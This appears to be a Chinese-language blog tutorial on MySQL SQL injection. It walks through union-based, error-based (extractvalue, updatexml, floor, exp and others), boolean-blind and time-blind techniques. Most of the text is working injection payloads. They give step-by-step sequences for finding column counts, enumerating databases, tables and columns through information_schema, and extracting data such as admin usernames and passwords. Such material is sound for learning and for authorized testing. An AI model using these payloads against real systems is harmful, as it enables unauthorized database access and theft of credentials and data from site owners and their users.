Mysql注入—union联合注入、报错注入、布尔盲注、时间盲注

本文详细介绍了SQL注入的各种方法,包括Union注入、报错注入和布尔盲注,以及如何利用这些技术获取数据库信息。通过示例展示了如何判断注入点、获取数据库列数、显示位、表名、列名和数据,同时讲解了报错注入中的XPath、floor和其他函数利用。最后,阐述了时间盲注的原理和应用,提供了获取数据库信息的步骤。
摘要由CSDN通过智能技术生成

Union联合注入

判断是否存在注入,判断注入点类型
参考另一片博文———>> 渗透技巧——手动判断注入点(思维导图)

1.获取数据库中信息:判断列数

1 order by 1 --+
1 order by n --+

备注:判断列数可以使用“二分法”:及一分为二的方法,设[a,b]为R的闭区间,逐次二分法就是造出如下的区间序列([an,bn]):
a0=a,b0=b,且对任一自然数n,[an+1,bn+1]或者等于[an,cn],或者等于[cn,bn],其中cn表示[an,bn]的中点。

2.获取数据库中的信息:判断数据显示位

-1 union select 1,2 --+

备注:这里使用-1使之前的语句查询无结果,则显示的时候就会显示union之后的第二条语句。

尝试在显示位输入需要查询下的语句或函数

-1 union select version(),user() --+

常用函数:参考另一篇博文——>> mysql数据库常用函数(渗透测试专用)

3.获取数据库中信息:查看数据库表
首先我们要先了解information_schema库

  • SCHEMATA表:当前Mysql中的所有数据库信息。show databases命令:命令从这个表获取数据。
  • TABLES表:数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储类型、存储引擎、创建时间等信息。show tables from database命令:从这个表获取结果。
  • COLUMNS表:存储表中的列信息,包括表有多少列、每个列的类型等。show columns from tablename命令:从这个表获取结果。
-1 union select 1,schema_name from information_schema.schemata --+     查询数据库名 
-1 union select 1,table_name from information_schema.tables where table_schema ='数据库名'#     查询表名

4.获取数据库中的信息:获取列名

-1 union select 1,column_name from information_schema.columns where table_name='表名' and table_schema ='数据库名'#

5.获取数据库中信息:查看账号密码信息
查询数据 union select 字段名,字段名 from 表名 #

字符串拼接常用函数

  • concat():将多个字符串连接成一个字符串 例子:select concat(‘M’,‘y’,‘S’,‘Q’,‘L’)
  • concat_ws():将多个字符串连接成一个字符串,但可以指定分隔符 例子:select concat_ws(’_’,‘M’,‘y’,‘S’,‘Q’,‘L’)
  • group_concat():将多行结果连接成一组 例子:select group_concat(user) from user;
  • limit 0,1 从第一行开始,展示一行数据。 limit 0,2 从第一行开始,展示两行数据
例子:在users表中查找admin 和password值并且中间用_隔开
-1 union select group_concat(admin,'_',password) from users#     

报错注入

  • 报错注入 (Error-based injuction),就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
  • 正常用户访问服务器发送id信息返回正确的id数据,报错注入就是想办法构造语句,让错误信息中可以显示数据库的内容,如果能让错误信息中返回数据库中的内容,即实现SQL注入

1.XPATH报错注入:

extractvalue(arg1,arg2)

  • 接受两个参数,arg1:XML文档,arg2:XPATH语句
  • 条件:mysql5.1及以上版本
  • 标准payload:and extractvalue(1,concat(0x7e,(select user()),0x7e))
  • 返回结果:XPATH syntax error.’~root@localhost~’

updatexml(arg1,arg2,arg3)

  • arg1为xml文档对象的名称,arg2为xpath格式的字符串;arg3为string格式替换查找到的符合条件的数据
  • 条件:mysql5.1.5及以上版本
  • 标准payload:and updatexml(1,concat(0x7e,(select user()),0x7e),1)
  • 返回结果:XPATH syntax error:’~root@localhost~’

注意:XPATH报错注入的使用条件是数据库版本符合条件;extractvalue()和updatexml()有32位长度限制。
解决办法:用substr()函数截取前后部分 例如:
and extractvalue(1,concat(0x7e,substr((select database()),1,5))) %23

2.floor报错注入

  • floor()函数的作用是返回小于等于该值的最大整数,只返回arg1整数部分,小数部分舍弃
  • 条件:mysql 5.0及以上版本
  • 标准payload:
    and(select 1 from (select count(*),concat(user(),floor(rand(0)*2)) as x from information_schema.tables group by x) as y)
  • 结果:Duplicate entry ‘root@localhost1’ for key ‘group_key’

floor()报错注入准确的说应该是floor、count、group by 冲突报错,count(*)、rand()、group by 三者缺一不可

  • floor()——取整数
  • rand()——在0和1之间产生一个随机数
  • rand(0)*2——将取0-2的随机数
  • floor(rand()*2)——有两条记录就会报错
  • floor(rand(0)*2)——记录需为3条以上,且3条以上必报错,返回的值是有规律的
  • coun(*)——用来统计结果,相当于刷新一次结果
  • group by——在对数据进行分组时会先看虚拟表中是否存在这个值,不存在就插入,存在的话conunt(*)加1,在使用group by 时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次

3.其他常用报错注入:

列名重复报错

  • 条件:name_const()函数在低版本中可以支持5.0,但是再高版本5.1+中就不支持了
  • 说明:nameconst(name,value),当用来产生一个结果集合列时,name_const()促使该列使用给定名称
  • 标准payload :
    and select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;

整形溢出报错注入

  • 条件:mysql5.5.5及以上版本
  • 说明:exp是以e为底的指数函数,由于数字太大会产生溢出。该函数会在参数大于709时溢出,产生报错
  • 标准payload:and exp(~(select * from(select user())a))

几何函数报错注入

  • 条件:高版本MySQL无法得到数据
  • 相关函数:geometrycollection()、multipoint()、polygon()、multipolygon()、linestring()、multilinestring()
  • 说明:函数对参数要求时形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错
  • 标准payload:1' and multipoint((select * from(select * from(select user())a)b));

使用报错注入获得数据库信息的过程

  • 1.查看数据库版本:
1 and extractvalue(1,concat(0x7e,(select version()),0x7e)) #
  • 2.查看数据库名字:
1 and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
  • 3.查看数据库中有多少个表:
1 and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()),0x7e)) #
  • 4.查看数据库有哪些表:
1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) #
  • 5.查看表里面有哪些列名:
1 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name= 'table_name' limit 0,1),0x7e)) #
  • 6.查看表里面的数据:
1 and extractvalue(1,concat(0x7e,(select group_concat(列名) from 数据库名.表名),0x7e)) #

布尔盲注

  • 布尔型盲注是SQL盲注的一种,就是再进行SQL注入的时候,WEB页面仅返回true或false
  • 布尔型盲注会根据web页面返回的true或false信息,对数据库中的信息进行猜解,并获取数据库中的相关信息

布尔盲注相关函数

substr()、substring()、mid()

  • 说明:用来截取字符串中的一部分,在各个数据库中的函数名称是不一样的
  • 使用方式(以substr为例):substr(arg1,int1,int2),arg1为被选取的字符串,int1为截取开始的位置,int2为截取长度
  • 表示:从int1开始的位置,截取int2个字符,注意:int1是从1开始的,不是从0开始的。
  • 举例:数据库名字为:users,执行命令:select substr(database(),1,3) 返回结果为use (从第1位开始,到第3位结束)

length()

  • 说明:获取字符串长度
  • 使用方法:length(arg1),arg1代表字符串
  • 举例:数据库名字为:users
  • 执行命令:select length(database()); 结果:5(数据库长度为5)

ascii() 、ord()

  • 说明:将单一字符,转化为ascii码值
  • 使用方式:ascii(str),str代表字符
  • 举例:执行命令:select ascii(‘a’); 结果:97(a的ascii码值)

left()

  • 说明:返回具有指定长度的字符串的左边部分。
  • 使用方法:left(Str,length) str代表字符,length代表要查看具体左边字符的长度。
  • 举例:执行命令:数据库名为 users select left(database(),3) 结果为:use

regexp()

  • 说明:利用正则表达式查询匹配
  • 使用方法:select user() regexp ‘^ro’; 利用正则表达式判断user是否为’ro’开始
  • 自mysql 3.23.4版本后,正则不区分大小写,如果需要区分大小写的话,可以使用 BINARY 关键字,例如:select ‘Hello’ regexp binary ‘^h’;

使用布尔盲注获得数据库信息的过程

  • 1.获得数据库的长度
    说明:通过页面回显判断数据库名长度
    举例:数据库名为security
and (length(database()))>7 →有回显,说明数据库长度>7
and (length(database()))>8 →无回显,说明数据库长度<=8
and (length(database()))=8 →有回显,说明数据库长度=8
  • 2.获得数据库名
    说明:通过改变n和m获取数据库的字符
    方法:and ascii(substr(database(),n,1))=m (n为位数,m为ascii码值)
    举例:数据库名为security
and ascii(substr(database(),1,1))=97→无回显,说明数据库名第一位的ascii码不是97
and ascii(substr(database(),1,1))=115→有回显,说明数据库名第一位的ascii码是115
  • 3.获取数据库的表个数
    方法:and (select count(*) from information_schema.tables where table_schema=database())>n
    改变n的值,并结合页面回显判断表的个数
    举例:如下案例有回显说明数据库中有4个表
and (select count(*) from information_schema.tables where table_schema=database())=4    
  • 4.获得数据库表名长度
    方法:and (select length(table_name) from information_schema.tables where table_schema = database() limit n,1)>m
    需要用limit来限制表的个数,每次读取一个表。
    举例:如下有回显,说明数据库中,第一张表的长度为6位。
and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1)=6
  • 5.获得数据库表名
    方法:用limit限制表的个数和字符的个数
    and ascii((substr((select table_name from information_schema.tables where table_schema=database() limit x,1),y,1)))=z
    举例:如下有回显,说明数据库中,第一张表的第一个字符ascii码值<100
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<100
  • 6.获取列名(先获取列名个数,再获取列名长度,最后获取列名)
and (ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1)1,1)))>100 #
  • 7.获得数据
and (ascii (substr((select 列名 from 数据库名.表名 limit 0,1),1,1)))=68 #

时间盲注

相关函数

sleep()

  • 说明:sleep(int1)用来捕获到执行迅速不易被查看到的语句以确定我们的程序是否确实再服务器端发起了该语句,int1是中断的时间,单位是秒
  • 语句:select if(1=1,sleep(3),'goodbye') 结果1=1成立,延时3秒

benchmark()

  • 说明:benchmark(arg1,arg2)用来测试一些函数的执行速度,arg1是执行的次数,arg2是要执行的函数或者表达式。与sleep()函数基本一样,但是当sleep()不能使用时,可以使用benchmark()函数
  • 语句:select if(1=1,benchmark(5000000,md5('abc')),'goodbye') 结果1=1成立,页面延迟x秒显示,根据机器性能不同,执行时间不同

if()

  • 说明:条件判断
  • 使用方法:if(arg1,arg2,arg3),arg1代表判断的条件,arg2是条件为真返回的结果,arg3是条件为假返回的结果
  • 举例:数据库名字为users
  • 执行命令:select if(length(database())>0,'true','false'); 结果:true(数据库长度为5为,大于0)

case when else end;

  • 说明:CASE 函数允许根据筛选条件,当与第一个条件符合时返回一个值。
  • 适用场景:适用于一个条件判断有多种值分别执行不同的操作的场景。
  • 使用方法:case arg1 when true then arg2 else 0 end; arg1代表判断的条件,arg2是条件为真返回的结果
  • 举例: case length(version())>10 when 1 then sleep(3) else 0 end; 当版本长度大于10时,睡眠3秒,其他条件返回0.

时间盲注获得数据库的基本过程:

  • 1.获得数据库名的长度,通过页面显示的时间判断数据库名长度
and if((length(database())>5),sleep(5),1)#
and if((length(database())=6),sleep(5),1)#
  • 2.获得数据库名,通过改变n和m依次获取数据库的字符
and if((ascii(substr(database(),n,1))=m),sleep(5),1)#
  • 3.获取数据库表名(同理先获取长度)
and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100,sleep(5),1)#
  • 4.获取数据库列名
and if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100,sleep(5),1)#
  • 5.获取数据
and if((ascii(substr((select 列名 from 表名 limit 0,1),1,1)))=97,sleep(5),1)#
  • 6
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值